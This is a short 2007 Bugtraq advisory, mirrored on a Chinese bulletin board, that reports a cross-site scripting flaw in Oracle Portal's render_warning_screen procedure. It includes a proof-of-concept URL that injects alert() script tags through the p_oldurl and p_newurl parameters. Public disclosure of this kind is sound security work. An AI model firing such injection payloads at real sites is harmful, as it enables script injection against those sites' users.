Oracle Portal PORTAL.wwv_main.render_warning_screen XSS

看板Bugtraq作者sead3nx.時間19年前 (2007/03/17 00:32)推噓0(0推 0噓 0→)

留言0則, 0人參與討論串1/1

Hi All, During pentest i have noticed XSS bug in PORTAL.wwv_main.render_warning_screen application of oracle portal. http://somesite/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl=' <script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script> Greets, d3nx

文章代碼(AID): #15-iQW00 (Bugtraq)